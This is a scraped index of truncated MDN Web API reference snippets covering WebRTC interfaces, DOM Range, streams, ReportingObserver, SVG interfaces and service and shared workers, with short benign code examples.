start trying to connect, so that they're already available for inspection when rtcpeerconnection.setlocaldescription() is called. changing the size of the ice candidate pool may trigger the beginning of ice gathering. iceservers optional an array of rtciceserver objects, each describing one server which may be used by the ice agent; these are typically stun...
RTCDTMFSender.insertDTMF() - Web APIs
as long as the connection is active, you can send tones at any time. calling insertdtmf() will append the specified tones to the end of the current tone buffer, so that those tones play after the previously-enqueued tones. syntax rtcdtmfsender.insertdtmf(tones[, duration[, intertonegap]]); parameters tones a domstring containing the dtmf codes to be transmitted to the recipient. ...
RTCDTMFSender.ontonechange - Web APIs
r the tonechange event, which is sent to the rtcdtmfsender each time a tone begins or ends. the event handler receives as input a single parameter of type rtcdtmftonechangeevent, which describes the change. syntax rtcdtmfsender.ontonechange = tonechangehandlerfunction; value a function which is called when a tonechange event is sent to the rtcdtmfsender, indicating that a dtmf tone has either
started playing, or if all tones have finished playing. example tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'ontonechange' in that specification. candidate recommendation ...
RTCDTMFSender.toneBuffer - Web APIs
ter in the buffer. all other characters are unrecognized and will cause insertdtmf() to throw an invalidcharactererror exception. using tone buffer strings for example, if you're writing code to control a voicemail system by sending dtmf codes, you might use a string such as "*,1,5555". in this example, we would send "*" to request access to the vm system, then, after a pause, send a "1" to
start playback of voicemail messages, then after a pause, dial "5555" as a pin number to open the messages. settting the tone buffer to an empty string ("") cancels any pending dtmf codes. example tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtmfsender.tonebuffer' in that specification. candidat...
RTCDTMFSender: tonechange event - Web APIs
the tonechange event is sent to an rtcdtmfsender by the webrtc api to indicate when dtmf tones previously queued for sending (by calling rtcdtmfsender.insertdtmf()) begin and end. bubbles no cancelable no interface rtcdtmftonechangeevent event handler property ontonechange to determine what tone
started playing, or if a tone stopped playing, check the value of the event's tone property. examples this example establishes a handler for the tonechange event which updates an element to display the currently playing tone in its content, or, if all tones have played, the string "<none>". this can be done using addeventlistener(): dtmfsender.addeventlistener("tonechange", ev => { let tone = ev.tone; if (tone === "") { tone = "<non...
RTCDTMFToneChangeEvent - Web APIs
this interface is used by the tonechange event. properties in addition to the properties of event, this interface offers the following: rtcdtmftonechangeevent.tone read only a domstring specifying the tone which has begun playing, or an empty string ("") if the previous tone has finished playing. constructors rtcdtmftonechangeevent() returns a new rtcdtmftonechangeevent. it takes two parameters, the first being a domstring representing the type of the event (always "tonechange"); the second a dictionary containing the initial state of the properties of the event. ...
RTCDataChannel: close event - Web APIs
created. bubbles no cancelable no interface event event handler property rtcdatachannel.onclose examples this example sets up a handler for the close event for the rtcdatachannel named dc; its responsibility in this example is to update user interface elements to reflect that there is no longer an ongoing call, and to allow a new call to be
started. dc.addeventlistener("close", ev => { messageinputbox.disabled = true; sendbutton.disabled = true; connectbutton.disabled = false; disconnectbutton.disabled = true; }, false); all this code does in response to receiving the close event is to disable an input box and its "send" button, and to enable the button used to
start a call (while disabling the one that ends a call). you can a...
RTCDataChannel: error event - Web APIs
tpcausecodes = [ "no sctp error", "invalid stream identifier", "missing mandatory parameter", "stale cookie error", "sender is out of resource (i.e., memory)", "unable to resolve address", "unrecognized sctp chunk type received", "invalid mandatory parameter", "unrecognized parameters", "no user data (sctp data chunk has no data)", "cookie received while shutting down", "re
start of an association with new addresses", "user-initiated abort", "protocol violation" ]; dc.addeventlistener("error", ev => { const err = ev.error; console.error("webrtc error: ", err.message); // handle specific error detail types switch(err.errordetail) { case "sdp-syntax-error": console.error(" sdp syntax error in line ", err.sdplinenumber); break; case "id...
RTCDataChannel.onmessage - Web APIs
vent interface. this event is sent to the channel when a message is received from the other peer. syntax rtcdatachannel.onmessage = function; value a function which the browser will call to handle the message event. the function receives as its sole input parameter a messageevent object describing the event. example this code snippet creates a peer connection, adds a data channel to it, and
starts creating new <p> (paragraph) elements each time a message arrives, with the message's contents displayed inside it. the new elements are then attached to the end of the document. let pc = new rtcpeerconnection(); let dc = pc.createdatachannel(); dc.onmessage = function(event) { var el = document.createelement("p"); var txtnode = document.createtextnode(event.data); el.appendchild(txtnod...
RTCDataChannel.readyState - Web APIs
connection. constant description "connecting" the user agent (browser) is in the process of creating the underlying data transport; that is, whatever network level connection is used to link the two peers together is in the process of being set up. this is the state of a new rtcdatachannel after being created by rtcpeerconnection.createdatachannel() (on the peer which
started the connection process). "open" the underlying data transport has been established and data can be transferred bidirectionally across it. this is the default state of a new rtcdatachannel created by the webrtc layer when the remote peer created the channel and delivered to the site or app in a datachannel event of type rtcdatachannelevent. "closing" the process of closin...
RTCDtlsTransport.state - Web APIs
the state read-only property of the rtcdtlstransport interface provides information which describes a datagram transport layer security (dtls) transport state. syntax let mystate = dtlstransport.state; value a string whose value is taken from the rtcdtlstransportstate enumerated type. its value is one of the following: new the initial state when dtls has not
started negotiating yet. connecting dtls is in the process of negotiating a secure connection and verifying the remote fingerprint. connected dtls has completed negotiation of a secure connection and verified the remote fingerprint. closed the transport has been closed intentionally as the result of receipt of a close_notify alert, or calling rtcpeerconnection.close(). failed the transport has failed as the result of an err...
RTCIceCandidatePairStats - Web APIs
n be obtained by calling the rtcicetransport method getselectedcandidatepair(), which returns an rtcicecandidatepair object, or null if there isn't a pair selected. the active candidate pair describes the current configuration of the two ends of the rtcpeerconnection. any candidate pair that isn't the active pair of candidates for a transport gets deleted if the rtcicetransport performs an ice re
start, at which point the state of the ice transport returns to new and negotiation
starts once again. for more information, see ice re
start in lifetime of a webrtc session. example this example computes the average time elapsed between connectivity checks if the rtcstats object rtcstats is an rtcicecandidatepairstats object. if (rtcstats && rtcstats.type === "candidate-pair") { let elapsed = (...
RTCIceGathererState - Web APIs
the rtcicegathererstate enumerated type provides the string values which can be returned by an rtcicetransport object's gatheringstate. values "new" the rtcicetransport is newly created and has not yet
started to gather ice candidates. "gathering" the transport is in the process of gathering candidates. "complete" the transport has finished gathering ice candidates and has sent the end-of-candidates indicator to the remote device. the transport won't gather any further candidates unless an ice re
start occurs, at which point the gathering process
starts over from scratch. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicegathererstate' in that specification. candidate recommendation ...
RTCIceServer - Web APIs
ialtype enum. the default is password. urls this required property is either a single domstring or an array of domstrings, each specifying a url which can be used to connect to the server. username optional if the rtciceserver is a turn server, then this is the username to use during the authentication process. avoid specifying an unnecessarily large number of urls in the urls property; the
startup time for your connection will go up substantially. every server in the list will be contacted and tried out before one is selected to be used for negotiation. older versions of the webrtc specification included an url property instead of urls; this was changed in order to let you specify multiple addresses for each server in the list, as shown in the example below. obsolete properties the ...
RTCIceTransport.gatheringState - Web APIs
ated type rtcicegathererstate that indicates what gathering state the ice agent is currently in: "new", "gathering", or "complete". syntax gatherstate = rtcicetransport.gatheringstate; value a string from the rtcicegathererstate enumerated type whose value indicates the current state of the ice agent's candidate gathering process: "new" the rtcicetransport is newly created and has not yet
started to gather ice candidates. "gathering" the transport is in the process of gathering candidates. "complete" the transport has finished gathering ice candidates and has sent the end-of-candidates indicator to the remote device. the transport won't gather any further candidates unless an ice re
start occurs, at which point the gathering process
starts over from scratch. specifications ...
RTCIceTransport.ongatheringstatechange - Web APIs
angehandler; value a function to be called when the rtcicetransport object's gathering state changes. to determine the new state, examine the value of gatheringstate. the gathering state indicates whether or not the ice agent has begun gathering candidates, and if so, whether or not gathering has finished. its possible values are: "new" the rtcicetransport is newly created and has not yet
started to gather ice candidates. "gathering" the transport is in the process of gathering candidates. "complete" the transport has finished gathering ice candidates and has sent the end-of-candidates indicator to the remote device. the transport won't gather any further candidates unless an ice re
start occurs, at which point the gathering process
starts over from scratch. example this snippet e...
RTCIceTransport - Web APIs
changed, indicating a change in this transport's ice candidate negotiation process. also available through the ongatheringstatechange event handler property. selectedcandidatepairchange sent to the rtcicetransport when a new, better pair of candidates has been selected to describe the connectivity between the two peers. this occurs during negotiation or renegotiation, including after an ice re
start, which reuses the existing rtcicetransport objects. the current candidate pair can be obtained using getselectedcandidatepair(). also available using the onselectedcandidatepairchange event handler property. statechange sent to the rtcicetransport instance when the value of the state property has changed, indicating that the ice gathering process has changed state. also available through the ...
RTCInboundRtpStreamStats.averageRtcpInterval - Web APIs
ue a floating-point value indicating the average interval, in seconds, between transmissions of rtcp packets. this interval is computed following the formula outlined in rfc 1889: a.7. because the interval's value is determined in part by the number of active senders, it will be different for each user of a service. since this value is also used to determine the number of seconds after a stream
starts to flow before the first rtcp packet should be sent, the result is that if many users try to
start using the service at the same time, the server won't be flooded with rtcp packets coming in all at once. the sending endpoint computes this value when sending compound rtcp packets, which must contain at least an rtcp rr or sr packet and an sdes packet with the cname item. specifications ...
RTCOfferOptions - Web APIs
the rtcofferoptions dictionary is used to provide optional settings when creating an rtcpeerconnection offer with the createoffer() method. properties this dictionary also inherits properties from the rtcofferansweroptions dictionary, on which it's based. icere
start optional a boolean which, when set to true, tells createoffer() to generate and use new values for the identifying properties of the sdp it creates, resulting in a request that triggers renegotiation of the ice connection. this is useful if network conditions have changed in a way that make the current configuration untenable or impractical, for instance. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcofferoptions' in that specif...
RTCOutboundRtpStreamStats.averageRtcpInterval - Web APIs
ue a floating-point value indicating the average interval, in seconds, between transmissions of rtcp packets. this interval is computed following the formula outlined in rfc 1889: a.7. because the interval's value is determined in part by the number of active senders, it will be different for each user of a service. since this value is also used to determine the number of seconds after a stream
starts to flow before the first rtcp packet should be sent, the result is that if many users try to
start using the service at the same time, the server won't be flooded with rtcp packets coming in all at once. the sending endpoint computes this value when sending compound rtcp packets, which must contain at least an rtcp rr or sr packet and an sdes packet with the cname item. specifications ...
RTCPeerConnection() - Web APIs
ve been set, this property is ignored in future calls to rtcpeerconnection.setconfiguration(). icecandidatepoolsize optional an unsigned 16-bit integer value which specifies the size of the prefetched ice candidate pool. the default value is 0 (meaning no candidate prefetching will occur). you may find in some cases that connections can be established more quickly by allowing the ice agent to
start fetching ice candidates before you
start trying to connect, so that they're already available for inspection when rtcpeerconnection.setlocaldescription() is called. changing the size of the ice candidate pool may trigger the beginning of ice gathering. iceservers optional an array of rtciceserver objects, each describing one server which may be used by the ice agent; these are typically stun...
RTCPeerConnection.addTrack() - Web APIs
syntax rtpsender = rtcpeerconnection.addtrack(track, stream...); parameters track a mediastreamtrack object representing the media track to add to the peer connection. stream... optional one or more local mediastream objects to which the track should be added. ...
RTCPeerConnection.createDataChannel() - Web APIs
the createdatachannel() method on the rtcpeerconnection interface creates a new channel linked with the remote peer, over which any kind of data may be transmitted. this can be useful for back-channel content such as images, file transfer, text chat, game update packets, and so forth. if the new data channel is the first one added to the connection, renegotiation is
started by delivering a negotiationneeded event. syntax datachannel = rtcpeerconnection.createdatachannel(label[, options]); parameters label a human-readable name for the channel. this string may not be longer than 65,535 bytes. options optional an rtcdatachannelinit dictionary providing configuration options for the data channel rtcdatachannelinit dictionary the rtcdatachannelinit dictionary provides the following fi...
RTCPeerConnection: icegatheringstatechange event - Web APIs
the icegatheringstatechange event is sent to the onicegatheringstatechange event handler on an rtcpeerconnection when the state of the ice candidate gathering process changes. this signifies that the value of the connection's icegatheringstate property has changed. when ice first
starts to gather connection candidates, the value changes from new to gathering to indicate that the process of collecting candidate configurations for the connection has begun. when the value changes to complete, all of the transports that make up the rtcpeerconnection have finished gathering ice candidates. bubbles no cancelable no interface event event handler onicegatheringstatechange note: while you can determine that ice candidate gathering is complete by ...
RTCPeerConnection: icecandidate event - Web APIs
if event.candidate is null prior to sending the candidate along. if you need to perform any special actions when there are no further candidates expected, you're much better off watching the ice gathering state by watching for icegatheringstatechange events: pc.addeventlistener("icegatheringstatechange", ev => { switch(pc.icegatheringstate) { case "new": /* gathering is either just
starting or has been reset */ break; case "gathering": /* gathering has begun or is ongoing */ break; case "complete": /* gathering has ended */ break; } }); as you can see in this example, the icegatheringstatechange event lets you know when the value of the rtcpeerconnection property icegatheringstate has been updated. if that value is now complete, you know ...
RTCPeerConnection.oniceconnectionstatechange - Web APIs
sed a single input parameter: an event object describing the iceconnectionstatechange event which occurred. your code can look at the value of rtcpeerconnection.iceconnectionstate to determine what the new state is. example the example below watches the state of the ice agent for a failure or unexpected closure and takes appropriate action, such as presenting an error message or attempting to re
start the ice agent. pc.oniceconnectionstatechange = function(event) { if (pc.iceconnectionstate === "failed" || pc.iceconnectionstate === "disconnected" || pc.iceconnectionstate === "closed") { // handle the failure } }; of course, "disconnected" and "closed" don't necessarily indicate errors; these can be the result of normal ice negotiation, so be sure to handle these properly...
RTCPeerConnection.setRemoteDescription() - Web APIs
the other hand, if we're in the middle of an ongoing negotiation and an offer is passed into setremotedescription(), the ice agent automatically begins an ice rollback in order to return the connection to a stable signaling state, then, once the rollback is completed, sets the remote description to the specified offer. this begins a new negotiation session, with the newly-established offer as the
starting point. upon
starting the new negotiation with the newly-established offer, the local peer is now the callee, even if it was previously the caller. this happens instead of throwing an exception, thereby reducing the number of potential errors which might occur, and simplifies the processing you need to do when you receive an offer, by eliminating the need to handle the offer/answer process dif...
RTCRtpReceiver.getCapabilities() static function - Web APIs
o"); the returned set of capabilities is the most optimistic possible list. it is entirely possible that certain combinations of options may fail to work when you actually try to use them. calling rtcrtpreceiver.getcapabilities() doesn't prime the browser in any way to handle media. nothing is loaded, fetched, or otherwise prepared. it's simply a means of determining what might be usable before
starting to try to access media. because the set of capabilities available tend to be stable for a length of time (people don't install and uninstall codecs and the like very often), the media capabilities can in whole or in part provide a cross-origin method for identifying a user. for that reason, in privacy-sensitive contexts, the browser may choose to obscure the capabilities; this might be done, ...
RTCRtpSender.getCapabilities() static function - Web APIs
dio"); the returned set of capabilities is the most optimistic possible list. it is entirely possible that certain combinations of options may fail to work when you actually try to use them. calling rtcrtpsender.getcapabilities() doesn't prime the browser in any way to handle media. nothing is loaded, fetched, or otherwise prepared. it's simply a means of determining what might be usable before
starting to try to access media. because the set of capabilities available tend to be stable for a length of time (people don't install and uninstall codecs and the like very often), the media capabilities can in whole or in part provide a cross-origin method for identifying a user. for that reason, in privacy-sensitive contexts, the browser may choose to obscure the capabilities; this might be done, ...
RTCSessionDescription - Web APIs
this constructor returns a new rtcsessiondescription. the parameter is a rtcsessiondescriptioninit dictionary containing the values to assign the two properties. rtcsessiondescription.tojson() returns a json description of the object. the values of both properties, type and sdp, are contained in the generated json. ...
RTCStatsReport - Web APIs
type of data you need. the statistic category names are members of the enumerated type rtcstatstype, as follows: candidate-pair an rtcicecandidatepairstats object providing statistics related to an rtcicetransport. candidate pairs other than the currently active pair for the transport are deleted when the rtcpeerconnection changes its rtcpeerconnection.icegatheringstate to new during an ice re
start. the active candidate pair is deleted after the transport switches to another candidate pair; this change cannot be detected otherwise. certificate an rtccertificatestats object providing statistics related to a certificate being used by an rtcicetransport. codec an rtccodecstats object containing statistics about a codec currently being used by rtp streams to send or receive data for the rtc...
RTCStatsType - Web APIs
tsreport object. this type determines which of the rtcstats-based dictionaries the record is based upon. values candidate-pair an rtcicecandidatepairstats object providing statistics related to an rtcicetransport. candidate pairs other than the currently active pair for the transport are deleted when the rtcpeerconnection changes its rtcpeerconnection.icegatheringstate to new during an ice re
start. the active candidate pair is deleted after the transport switches to another candidate pair; this change cannot be detected otherwise. certificate an rtccertificatestats object providing statistics related to a certificate being used by an rtcicetransport. codec an rtccodecstats object containing statistics about a codec currently being used by rtp streams to send or receive data for the rtc...
Range.collapsed - Web APIs
the range.collapsed read-only property returns a boolean flag indicating whether the
start and end points of the range are at the same position. it returns true if the
start and end boundary points of the range are the same point in the dom, false if not. a collapsed range is empty (containing no content), and specifies a single point in a dom tree. to collapse a range, see the range.collapse() method. syntax iscollapsed = range.collapsed; example let range = document.createrange(); range.set
start(
startnode,
startoffset); range.setend(endnode, endoffset); iscollapsed = range.collapsed; specifications specification status comment domthe definition of 'range.collapsed' in that specification. living standard no change. document object model (dom) l...
Range.commonAncestorContainer - Web APIs
the range.commonancestorcontainer read-only property returns the deepest — or furthest down the document tree — node that contains both boundary points of the range. this means that if range.
startcontainer and range.endcontainer both refer to the same node, this node is the common ancestor container. since a range need not be continuous, and may also partially select nodes, this is a convenient way to find a node which encloses a range. this property is read-only. to change the ancestor container of a node, consider using the various methods available to set the
start and end positions of the range, such as range.set
start() and range.setend(). syntax rangeancestor = range.commonancestorcontainer; example in this example, we create an event listener to handle pointerup events on a lis...
Range.createContextualFragment() - Web APIs
the html fragment parsing algorithm is used if the range belongs to a document whose htmlness bit is set. in the html case, if the context node would be html, for historical reasons the fragment parsing algorithm is invoked with body as the context instead. ...
Range.endContainer - Web APIs
the range.endcontainer read-only property returns the node within which the range ends. to change the end position of a node, use the range.setend() method or a similar one. syntax endrangenode = range.endcontainer; example var range = document.createrange(); range.set
start(
startnode,
startoffset); range.setend(endnode,endoffset); endrangenode = range.endcontainer; specifications specification status comment domthe definition of 'range.endcontainer' in that specification. living standard no change. document object model (dom) level 2 traversal and range specificationthe definition of 'range.endcontainer' in that specification. obsolete initial specification. ...
Range.insertNode() - Web APIs
the range.insertnode() method inserts a node at the
start of the range. the new node is inserted at the
start boundary point of the range. if the new node is to be added to a text node, that node is split at the insertion point, and the insertion occurs between the two text nodes. if the new node is a document fragment, the children of the document fragment are inserted instead. syntax range.insertnode(newnode); parameters newnode the node to insert at the
start of the range. example range = document.createrange(); newnode = document.createelement("p"); newnode.appendchild(document.createtextnode("new node inserted here")); range.selectnode(document.getelementsbytagname("div").item(0)); range.insertnode(newnode); specifications specification status comment ...
Range.selectNode() - Web APIs
syntax range.selectnode(referencenode); parameters referencenode the node to select within a range. example let range = document.createrange(); let referencenode = document.getelementsbytagname('div').item(0); range.selectnode(referencenode); specifications specification status comment domthe definition of 'range.selectnode()' in that specification. living standard no change. ...
Range.selectNodeContents() - Web APIs
syntax range.selectnodecontents(referencenode); parameters referencenode the node whose contents will be selected within a range. example range = document.createrange(); referencenode = document.getelementsbytagname("div")[0]; range.selectnodecontents(referencenode); live sample this example lets the user select and deselect a paragraph with buttons. ...
Range.surroundContents() - Web APIs
this method is nearly equivalent to newnode.appendchild(range.extractcontents()); range.insertnode(newnode). after surrounding, the boundary points of the range include newnode. an exception will be thrown, however, if the range splits a non-text node with only one of its boundary points. that is, unlike the alternative above, if there are partially selected nodes, they will not be cloned and instead the operation will fail. syntax range.surroundcontents(newparent); parameters newparent a node with which to surround the contents. ...
Range.toString() - Web APIs
r returning the text of the range. alerting the contents of a range makes an implicit tostring() call, so comparing range and text through an alert dialog is ineffective. syntax text = range.tostring(); example html <p>this example logs <b>everything</b> between the bold <b>words</b>. look at the output below.</p> <p id="log"></p> javascript const range = document.createrange(); range.set
startbefore(document.getelementsbytagname('b').item(0), 0); range.setendafter(document.getelementsbytagname('b').item(1), 0); document.getelementbyid('log').textcontent = range.tostring(); result specifications specification status comment domthe definition of 'range.tostring()' in that specification. living standard no change. document object model (dom) lev...
ReadableStream.pipeThrough() - Web APIs
ource’s error, or with any error that occurs during aborting the destination. preventcancel: if this is set to true, errors in the destination writablestream will no longer cancel the source readablestream. in this case the method will return a promise rejected with the source’s error, or with any error that occurs during canceling the source. in addition, if the destination writable stream
starts out closed or closing, the source readable stream will no longer be canceled. in this case the method will return a promise rejected with an error indicating piping to a closed stream failed, or with any error that occurs during canceling the source. signal: if set to an abortsignal object, ongoing pipe operations can then be aborted via the corresponding abortcontroller. return value t...
ReadableStream.pipeTo() - Web APIs
ource’s error, or with any error that occurs during aborting the destination. preventcancel: if this is set to true, errors in the destination writablestream will no longer cancel the source readablestream. in this case the method will return a promise rejected with the source’s error, or with any error that occurs during canceling the source. in addition, if the destination writable stream
starts out closed or closing, the source readable stream will no longer be canceled. in this case the method will return a promise rejected with an error indicating piping to a closed stream failed, or with any error that occurs during canceling the source. signal: if set to an abortsignal object, ongoing pipe operations can then be aborted via the corresponding abortcontroller. return value a...
ReadableStream - Web APIs
]() alias of getiterator method. examples in the following example, an artificial response is created to stream html fragments fetched from another resource to the browser. it demonstrates the usage of a readablestream in combination with a uint8array. ...
ReadableStreamDefaultReader - Web APIs
s the reader's lock on the stream. examples in the following example, an artifical response is created to stream html fragments fetched from another resource to the browser. it demonstrates the usage of a readablestream in combination with a uint8array. ...
Report - Web APIs
erface has no events that fire on it. examples in our deprecation_report.html example, we create a simple reporting observer to observe usage of deprecated features on our web page: let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); we then tell it to
start observing reports using reportingobserver.observe(); this tells the observer to
start collecting reports in its report queue, and runs the callback function specified inside the constructor: observer.observe(); because of the event handler we set up inside the reportingobserver() constructor, we can now click the button to display the report details. the report details are displayed via the ...
ReportingObserver.disconnect() - Web APIs
after calling disconnect(), neither reportingobserver.takerecords() nor the records parameter of the reportingobserver() callback will return any reports. the associated observer will no longer be active. syntax reportingobserverinstance.disconnect() examples let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); observer.observe() ... ...
ReportingObserver.observe() - Web APIs
the observe() method of the reportingobserver interface instructs a reporting observer to
start collecting reports in its report queue. syntax reportingobserverinstance.observe() examples let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); observer.observe() specifications specification status comment reporting apithe definition of 'reportingobserver.observe()' in that specification. editor's draft ...
ResizeObserver.observe() - Web APIs
syntax resizeobserver.observe(target, options); parameters target a reference to an element or svgelement to be observed. options optional an options object allowing you to set options for the observation. currently this only has one possible option that can be set: box sets which box model the observer will observe changes to. possible values are content-box (the default), and border-box. return value void. exceptions none. ...
Resize Observer API - Web APIs
observer() constructor, then use resizeobserver.observe() to make it look for changes to a specific element's size. a callback function set up inside the constructor then runs every time the size changes, providing access to the new dimensions and allowing you to do anything you like in response to those changes. interfaces resizeobserver provides the ability to register new observers and to
start and stop observing elements. resizeobserverentry describes a single element which has been resized, identifying the element and its new size. examples you find a couple of simple examples on our github repo: resize-observer-border-radius.html (see source): a simple example with a green box, sized as a percentage of the viewport size. when the viewport size is changed, the box's rounded co...
SVGAnimationElement - Web APIs
e also inherits properties from its parent, svgelement. svganimationelement.targetelement read only an svgelement representing the element which is being animated. if no target element is being animated (for example, because the href specifies an unknown element) the value returned is null. methods this interface also inherits methods from its parent, svgelement. svganimationelement.get
starttime() returns a float representing the begin time, in seconds, for this animation element's current interval, if it exists, regardless of whether the interval has begun yet. if there is no current interval, then a domexception with code invalid_state_err is thrown. svganimationelement.getcurrenttime() returns a float representing the current time in seconds relative to time zero for the given ...
SVGLength - Web APIs
nknown = 0 svg_lengthtype_number = 1 svg_lengthtype_percentage = 2 svg_lengthtype_ems = 3 svg_lengthtype_exs = 4 svg_lengthtype_px = 5 svg_lengthtype_cm = 6 svg_lengthtype_mm = 7 svg_lengthtype_in = 8 svg_lengthtype_pt = 9 svg_lengthtype_pc = 10 normative document svg 1.1 (2nd edition) example <svg height="200" onload="
start();" version="1.1" width="200" xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"><![cdata[ function
start() { var rect = document.getelementbyid("myrect"); var val = rect.x.baseval; // read x in pixel and cm units console.log("value: " + val.value + ", valueinspecifiedunits: " + val.unittype + ": " + val.valueinspecifiedunits + ", valueasstring:...
SVGLengthList - Web APIs
svg length list interface the svglengthlist defines a list of svglength objects. an svglengthlist object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown. ...
SVGNumberList - Web APIs
svg number list interface the svgnumberlist defines a list of svgnumber objects. an svgnumberlist object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown. note:
starting in gecko 5.0,the svgnumberlist dom interface is now indexable and can be accessed like arrays. interface overview also implement none methods void clear() svgnumber initialize(in svgnumber newitem) svgnumber getitem(in unsigned long index) svgnumber insertitembefore(in svgnumber newitem, in unsigned long index) svgnumber replaceitem(in svgnumber newitem, in unsigned long index) svgnumber removeitem(in unsigned long index) svgnumber appenditem(in svgnumber newitem) prop...
SVGSVGElement - Web APIs
ment.unpauseanimations() unsuspends (i.e., unpauses) currently running animations that are defined within the svg document fragment, causing the animation clock to continue from the time at which it was suspended. svgsvgelement.animationspaused() returns true if this svg document fragment is in a paused state. svgsvgelement.getcurrenttime() returns the current time in seconds relative to the
start time for the current svg document fragment. if getcurrenttime() is called before the document timeline has begun (for example, by script running in a <script> element before the document's svgload event is dispatched), then 0 is returned. svgsvgelement.setcurrenttime() adjusts the clock for this svg document fragment, establishing a new current time. if setcurrenttime() is called before the doc...
SVGTextPathElement - Web APIs
f this type or to attempt to switch an existing value to this type. textpath_spacingtype_auto 1 corresponds to the value auto. textpath_spacingtype_exact 2 corresponds to the value exact. properties this interface also inherits properties from its parent interface, svgtextcontentelement, and also implements properties of svgurireference. svgtextpathelement.
startoffset read only an svganimatedlength corresponding to the x component of the
startoffset attribute of the given element. svgtextpathelement.method read only an svganimatedenumeration corresponding to the method attribute of the given element. it takes one of the textpath_methodtype_* constants defined on this interface. svgtextpathelement.spacing read only an svganimatedenumeration corres...
SVGTransformList - Web APIs
svg transform list interface the svgtransformlist defines a list of svgtransform objects. an svgtransformlist object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown. ...
Screen Capture API - Web APIs
ortion of a screen (such as a window) to capture as a media stream. this stream can then be recorded or shared with others over the network. screen capture api concepts and usage the screen capture api is relatively simple to use. its sole method is mediadevices.getdisplaymedia(), whose job is to ask the user to select a screen or portion of a screen to capture in the form of a mediastream. to
start capturing video from the screen, you call getdisplaymedia() on the instance of media navigator.mediadevices: capturestream = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); the promise returned by getdisplaymedia() resolves to a mediastream which streams the captured media. see the article using the screen capture api for a more in-depth look at how to use the api to capture...
Selection.isCollapsed - Web APIs
keep in mind that a collapsed selection may still have one (or more, in gecko) ranges, so selection.rangecount may not be zero. in that scenario, calling a selection object's getrangeat() method may return a range object which is collapsed. ...
Selection.modify() - Web APIs
"left" or "right". granularity the distance to adjust the current selection or cursor position. you can move by "character", "word", "sentence", "line", "paragraph", "lineboundary", "sentenceboundary", "paragraphboundary", or "documentboundary". note: gecko does not implement "sentence", "paragraph", "sentenceboundary", "paragraphboundary", or "documentboundary". webkit and blink do. note:
starting in gecko 5.0, the "word" granularity no longer includes the following space, regardless of the default platform behavior. this makes the behavior more consistent, as well as making it work the same way webkit used to work, but unfortunately they have recently changed their behavior. example this example demonstrates the various granularity options for modifying a selection. click somewhere ...
Selection.setBaseAndExtent() - Web APIs
the setbaseandextent() method of the selection interface sets the selection to be a range including all or parts of two specified dom nodes, and any content located between them. syntax sel.setbaseandextent(anchornode,anchoroffset,focusnode,focusoffset) parameters anchornode the node at the
start of the selection. anchoroffset the number of child nodes from the
start of the anchor node that should be excluded from the selection. so for example, if the value is 0 the whole node is included. if the value is 1, the whole node minus the first child node is included. and so on. focusnode the node at the end of the selection. focusoffset the number of child nodes from the
start of the focus node that should be included in the selection. so for example, if the value is 0 the w...
Sensor - Web APIs
.timestamp read only returns the time stamp of the latest sensor reading. event handlers sensor.onerror called when an error occurs on one of the child interfaces of the sensor interface. sensor.onreading called when a reading is taken on one of the child interfaces of the sensor interface. sensor.onactivate called when one of the sensor interface's becomes active. methods sensor.
start() activates one of the sensors based on sensor. sensor.stop() deactivates one of the sensors based on sensor. specifications specification status comment generic sensor apithe definition of 'sensor' in that specification. candidate recommendation initial definition. ...
ServiceWorkerContainer - Web APIs
object whose scope matches the provided document url. the method returns a promise that resolves to a serviceworkerregistration or undefined. serviceworkercontainer.getregistrations() returns all serviceworkerregistration objects associated with a serviceworkercontainer in an array. the method returns a promise that resolves to an array of serviceworkerregistration. serviceworkercontainer.
startmessages() explicitly
starts the flow of messages being dispatched from a service worker to pages under its control (e.g. sent via client.postmessage()). this can be used to react to sent messages earlier, even before that page's content has finished loading. examples the example below first checks to see if the browser supports service workers. if supported, the code registers the service wor...
ServiceWorkerRegistration.showNotification() - Web APIs
otification using a script if necessary. timestamp: a domtimestamp representing the time when the notification was created. it can be used to indicate the time at which a notification is actual. for example, this could be in the past when a notification is used for a message that couldn’t immediately be delivered because the device was offline, or in the future for a meeting that is about to
start. vibrate: a vibration pattern to run with the display of the notification. a vibration pattern can be an array with as few as one member. the values are times in milliseconds where the even indices (0, 2, 4, etc.) indicate how long to vibrate and the odd indices indicate how long to pause. for example, [300, 100, 400] would vibrate 300ms, pause 100ms, then vibrate 400ms. return value a p...
Service Worker API - Web APIs
ed on certain url patterns. performance enhancements, for example pre-fetching resources that the user is likely to need in the near future, such as the next few pictures in a photo album. in the future, service workers will be able to do a number of other useful things for the web platform that will bring it closer towards native app viability. interestingly, other specifications can and will
start to make use of the service worker context, for example: background synchronization:
start up a service worker even when no users are at the site, so caches can be updated, etc. reacting to push messages:
start up a service worker to send users a message to tell them new content is available. reacting to a particular time & date. entering a geo-fence. interfaces cache represents the ...
SharedWorker.port - Web APIs
orker interface returns a messageport object used to communicate and control the shared worker. syntax myworker.port; value a messageport object. example the following code snippet shows creation of a sharedworker object using the sharedworker() constructor. multiple scripts can then access the worker through a messageport object accessed using the sharedworker.port property — the port is
started using its
start() method: var myworker = new sharedworker('worker.js'); myworker.port.
start(); for a full example, see our basic shared worker example (run shared worker.) specifications specification status comment html living standardthe definition of 'abstractworker.onerror' in that specification. living standard ...
SharedWorkerGlobalScope.onconnect - Web APIs
can have an onmessage handler attached to it to handle messages coming in through the port, and its postmessage() method can be used to send messages back to the main thread using the worker. onconnect = function(e) { var port = e.ports[0]; port.onmessage = function(e) { var workerresult = 'result: ' + (e.data[0] * e.data[1]); port.postmessage(workerresult); } port.
